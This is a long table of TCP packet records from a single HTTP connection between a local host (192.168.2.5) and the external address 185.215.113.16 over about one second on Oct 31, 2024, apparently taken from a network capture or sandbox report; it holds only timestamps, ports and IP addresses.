Oct 31, 2024 02:08:17.680684090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.680706978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.680707932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.680783033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.680965900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.680989981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681005955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681020975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681037903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.681104898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.681112051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681127071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681143045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681158066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681173086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681181908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.681219101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.681674004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681693077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681709051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681725979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.681735039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.681759119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.685434103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.695774078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.695791006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.695806026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.695826054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.695960045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.736018896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.736038923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.736080885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.736105919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.737699986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.737751007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.737765074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.737788916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.737788916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.737804890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.737819910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.737823009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.737849951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.738063097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.738079071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.738094091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.738151073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.738151073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.738266945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.738291025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.738307953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.738413095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.738440990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.738456011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.738549948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.739399910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739439964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739449978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739460945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739460945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.739474058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739485025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739496946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.739613056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.739696980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739708900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739721060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739732027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.739778996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.740027905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740039110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740050077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740061045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740092993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.740113020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740118980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.740123987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740137100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740148067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740158081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740168095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.740196943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.740196943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.740983009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.740993977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.741004944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.741036892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.749856949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.775496006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.775588989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.775605917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.775620937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.775635004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.775748968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.797187090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797207117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797223091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797249079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.797331095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.797560930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797576904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797590017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797604084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797631025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.797658920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.797689915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797703981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797718048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797741890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.797852993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797868013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797882080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797893047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.797897100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.797920942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.797997952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798012018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798027039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798053980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.798083067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.798131943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798146963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798160076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798213005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.798743010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798758030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798773050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798787117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798799038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.798803091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798829079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.798857927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.798899889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798912048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798926115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.798940897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.799004078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.799004078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.809658051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.812777042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.812793016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.812805891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.812849045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.852682114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.852726936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.852741003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.852751017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.852822065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.854756117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854770899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854787111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854808092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854823112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854825020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.854851007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854865074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854872942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.854913950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854935884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854939938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.854950905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.854976892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.855038881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.855058908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.855252981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856095076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.856319904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856334925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856349945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856374979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.856398106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856411934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856426001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856441021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.856478930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.856504917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856518984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856532097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856579065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.856628895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856652975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856667995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856682062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.856714964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.856930017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856945038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856957912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.856985092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.857042074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857053995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857068062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857081890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857093096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.857096910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857120991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.857126951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857141018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857151031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.857155085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857172966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857199907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.857227087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.857914925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857929945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857943058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.857969999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.892641068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.892657995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.892672062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.892705917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.892941952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.909792900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.920564890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920581102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920605898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920619965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920634031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.920634985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920650005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920655966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.920665979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920689106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.920757055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920772076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920785904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920799971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920814991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920819998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.920830011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920845032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920861006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920861959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.920861959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.920875072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.920919895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.920919895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.920945883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.921015978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.921030998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.921060085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.921082020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.921097040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.921111107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.921133041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.921149015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.921163082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.921166897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.921190977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.929435968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.929501057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.929528952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.969660997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.969676018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.969690084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.969717026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.969753981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.971573114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971587896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971602917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971620083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971636057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971643925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.971651077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971663952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.971713066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.971740007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971784115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971798897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971813917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971837997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.971854925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.971924067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971936941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.971985102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.972321033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.972404957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.972418070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.972433090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.972461939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.972577095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973069906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973124981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973136902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973150015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973176003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973236084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973248005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973278999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973344088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973345995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973373890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973387957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973401070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973416090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973443031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973465919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973479986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973548889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973598003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973598003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973639011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973651886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973680019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973691940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973699093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973732948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973797083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973860979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973874092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973896027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973908901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973920107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.973977089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.973992109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974003077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.974005938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974025965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.974091053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.974108934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974123955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974138021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974164009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974189043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.974251032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.974721909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974806070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974819899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974833012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:17.974858046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.974900007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:17.982604980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.009711981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.009727001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.009741068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.009757996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.009793997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.009876966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.037456036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.037471056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.037492990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.037507057 CET	80	49712	185.215.113.16	192.168.2.5
